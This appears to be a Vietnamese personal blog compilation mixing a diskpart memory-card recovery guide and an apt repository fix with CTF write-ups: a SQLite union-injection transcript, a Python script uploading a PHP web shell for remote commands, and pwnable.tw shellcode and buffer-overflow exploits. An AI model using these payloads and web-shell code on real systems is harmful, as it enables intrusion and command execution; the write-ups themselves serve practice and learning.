Khôi phục thẻ nhớ bị mất dung lượng

Bước 1: vào chạy cmd dưới quyền admin và gõ:

> diskpart (bật chương trình diskpart)

Bước 2:

> list disk 

(xem các disk trong máy, tìm disk của USB hoặc thẻ nhớ)
Bước 3:

> select disk x

(với x là tên disk của USB hoặc thẻ nhớ được list trong Bước 2)
Bước 4: delete vùng nhớ và gộp nó lại

> clean

Bước 5: tạo lại 1 ổ đĩa cho thẻ nhớ

> create partition primary

Bước 6: xem các vùng nhớ

> list partition

Bước 7: chọn vùng nhớ nãy tạo

> select partition x

(với x là tên partition vừa tạo)
Bước 8: Format vùng nhớ lại

> format fs=NTFS quick

Chờ vài phút là xong

WhiteHat Challenge 1

Giải này khá là ez nên mình cũng không muốn chém gió nhiều.
1. Misc 01 (25)
– bypass backslash trong SQLite, thực ra cái SQLite này không có chức năng backslash (ý tưởng giống tower2 SVATTT 2016)

joker@Kiva:~$ nc 103.237.98.32 3737
< Inject me if you can >
         --------------------
         \   ^__^
          \  (oo)\_______
             (__)\       )\/\
                 ||----w |
                 ||     ||

input name to check pass, ex:linh, trang...:  
' union select sql from sqlite_master-- -
password:  (u'CREATE TABLE mbbg(name varchar(128),pwd varchar(128))',)
input name to check pass, ex:linh, trang...:  
' union select pwd from mbbg-- -
password:  (u'whatissqlite',)
input name to check pass, ex:linh, trang...:  

2. web 01 (15)
-Chỉ đơn giản là làm 1 con shell và post lên nhưng không dùng browser vì nó check front-end

import requests

folder_uploaded = "resources/"
path_upload = 'upload_controllers.php'
url = 'http://lab11.wargame.whitehat.vn/4d070da310a6b3bea7f538dd5d265cea/'
proxy = {"http":"http://127.0.0.1:8080"}
name_post = 'input-image'
shell_name = '5cv2rf73dtg2jlup5bo2nnc1q6_1488008497_c735bca142e9759b6f1b0b2401039f52.php'
mime_type = 'image/png'
malicious = '<?php system($_POST["a"])?>'


def pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious,debug=False):
	payload = [(name_post, (shell_name,malicious,mime_type))]
	s = requests.Session()
	if debug == False:
		s.get(url)
		s.post(url+path_upload,files=payload,data={"submit":"Upload"})
	else:
		s.get(url,proxies=proxy)
		s.post(url+path_upload,files=payload, verify=False, proxies=proxy,data={"submit":"Upload"})		
	filename = url+folder_uploaded+shell_name

	while 1:
		cmd = raw_input("$ ")
		if cmd=="exit":
			break
		shell = s.post(filename,data={"a":cmd}).text
		print shell


pwn(folder_uploaded,path_upload,url,proxy,name_post,shell_name,mime_type,malicious)

1

2

ez 2 flag

“Unable to locate package” (lỗi định mệnh)

Vâng, cái lỗi (píp píp píp) này hành xác không chỉ mình mà còn rất nhiều người khác. Và nay mình đã biết cách khắc phục nó.
Bản chất là thiếu repository nên chỉ cần add cái repository là được.
Bước 1: Bật tất cả các repositories lên

sudo add-apt-repository main
sudo add-apt-repository universe
sudo add-apt-repository restricted
sudo add-apt-repository multiverse

Bước 2: Tìm repository bằng 1 trong các cách sau
vào http://packages.ubuntu.com/ và search
vào https://www.ubuntuupdates.org/ và search
vào https://launchpad.net/ubuntu/+ppas và search ( khuyến cáo vì hiệu quả nhất)
Bước 3: add repository

sudo add-apt-repository ppa:<repository-name>

Bước 4: update

sudo apt-get update

Bước 5: Cài nó

sudo apt-get install (cccc)

Shell xịn ( orw – pwnable.tw )

from pwn import *


shell_read = asm("xor    ecx,ecx;\
				mul    ecx;\
				mov    al,0x5;\
				push   ecx;\
				push   0x67616c66;\
				push   0x2f77726f;\
				push   0x2f656d6f;\
				push  0x682f2f2f;\
				mov    ebx,esp;\
				int    0x80;\
				xchg   ebx,eax;\
				xchg   ecx,eax;\
				mov    al,0x3;\
				xor    edx,edx;\
				mov    dx,0xfff;\
				inc    edx;\
				int    0x80;\
				xchg   edx,eax;\
				xor    eax,eax;\
				mov    al,0x4;\
				mov    bl,0x1;\
				int    0x80;\
				xchg   ebx,eax;\
				int    0x80")


conn = remote("chall.pwnable.tw",10001)

rec_1  = conn.recvuntil("Give my your shellcode:")
print rec_1

conn.sendline(shell_read)

Shell sịn ( start – pwnable.tw )

from pwn import *

#s = process("./start")
s = remote('chall.pwnable.tw',10000)

a_leak = p32(0x08048087) #0x08048087 <+39>:	mov    ecx,esp
#shell23byte = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shell23byte = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

buf = 0

def leak(buf):

	chuoi = s.recvuntil(":")
	print chuoi
	a = raw_input("Press any key")
	payload1 = "a"*20+a_leak
	s.send(payload1)
	print "sent: ",payload1
	chuoi = s.recv(200)
	addr =  chuoi.replace("Let's start the CTF:","")[0:4]
	addr = u32(addr) + 20 + buf
	print "address shell: ",hex(addr)
	return addr

def pwn(addr):
	payload2 = '\x90'*20 + p32(addr) + "\x90"*12 +shell23byte
	a = raw_input("Press any key")
	s.sendline(payload2)
	print "sent: ",payload2

addr = leak(buf)
pause(2)
pwn(addr)
pause(2)
s.interactive()